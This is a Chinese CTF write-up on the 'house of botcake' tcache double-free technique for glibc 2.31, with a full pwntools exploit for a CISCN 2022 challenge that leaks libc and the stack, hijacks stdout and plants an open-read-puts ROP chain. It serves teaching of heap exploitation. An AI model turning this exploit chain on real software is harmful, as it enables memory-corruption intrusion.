0%

house of botcake

高版本glibc下的 tcache double free 之 house of botcake

例题为[CISCN 2022 华东北]blue

glibc 版本是 Ubuntu GLIBC 2.31-0ubuntu9.8

house of botcake原理

申请9个大于 fastbin 的堆块,即大于0x78,前七个堆块用于填充tcache,这里为了避免和top chunk合并申请了10个

1
2
3
4
for i in range(10):
add(0x80) # 0~9
for i in range(7):
free(i) # 0~6

第八个堆块作为prev,第九个堆块作为victim,释放victim,此时victim进入unsortbin,利用uaf可泄露libc地址

1
free(8)

释放prev与victim合并

1
free(7)

申请一个tcache腾出空间,再释放victim使其进入tcache,此时victim就存在于tcache和unsortbin了

1
2
add(0x80)
free(8)

然后我们只需再申请一个比 prev 大的堆块就可以修改到victim的指针了

1
2
pd = b'\x00' * 0x80 + p64(addr)
add(0x90,pd)

exp

house of botcake后,劫持stdout去leak environ,最后 orw 就可以了,write换成puts是因为write的rop太长了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/pwn'
elf=ELF(local_file)
local_libc = '/home/feichai/ctf_file/libc.so.6'
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
b *$rebase(0x1498)
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("node4.anna.nssctf.cn",28685)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def choice(index):
sla('Choice: ',str(index))

def add(size, content='aaaa'):
choice(1)
sla('size: ',str(size))
sa('content: ',content)

def free(idx):
choice(2)
sla('idx: ',str(idx))

def show(idx): # only onces
choice(3)
sla('idx: ',str(idx))

def uaf(idx): # only onces
choice(666)
sla('idx: ',str(idx))

def exp():

for i in range(10):
add(0x80)
for i in range(7):
free(i)
uaf(8) # victim
show(8)
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ecbe0
lg('libc_base',libc_base)

environ = libc.sym["environ"] + libc_base
setcontext = libc.sym["setcontext"] + 61 + libc_base
stdout = libc.sym[b"_IO_2_1_stdout_"] + libc_base
lg('stdout',stdout)

free(7) # prev
add(0x80) #0
free(8)

add(0x70) #1
add(0x70,p64(0)+p64(0x91)+p64(stdout)) #2

add(0x80) #3
pd = p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ+8)*2
add(0x80,pd) #4

stack = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
lg('stack',stack)
ret_addr = stack - 0x120

free(3)
free(2)

pd = p64(0) + p64(0x91) + p64(ret_addr - 8)
add(0x70,pd)

pop_rdi = 0x0000000000023b6a + libc_base
pop_rsi = 0x000000000002601f + libc_base
pop_rdx = 0x0000000000142c92 + libc_base
pop_rax = 0x0000000000036174 + libc_base
ret = 0x0000000000022679 + libc_base
open = libc.sym["open"] + libc_base
read = libc.sym["read"] + libc_base
write = libc.sym["write"] + libc_base
puts = libc.sym["puts"] + libc_base
flag = ret_addr-8

orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(flag)
orw += p64(pop_rsi) + p64(0)
orw += p64(open)

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(ret_addr+0x200)
orw += p64(pop_rdx) + p64(0x50)
orw += p64(read)

# orw += p64(pop_rdi) + p64(1)
# orw += p64(pop_rsi) + p64(ret_addr+0x200)
# orw += p64(pop_rdx) + p64(0x30)
# orw += p64(write)

orw += p64(pop_rdi) + p64(ret_addr+0x200)
orw += p64(puts)

add(0x80)
#pause()
add(0x80,orw)

io.interactive()

if __name__=='__main__':
exp()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道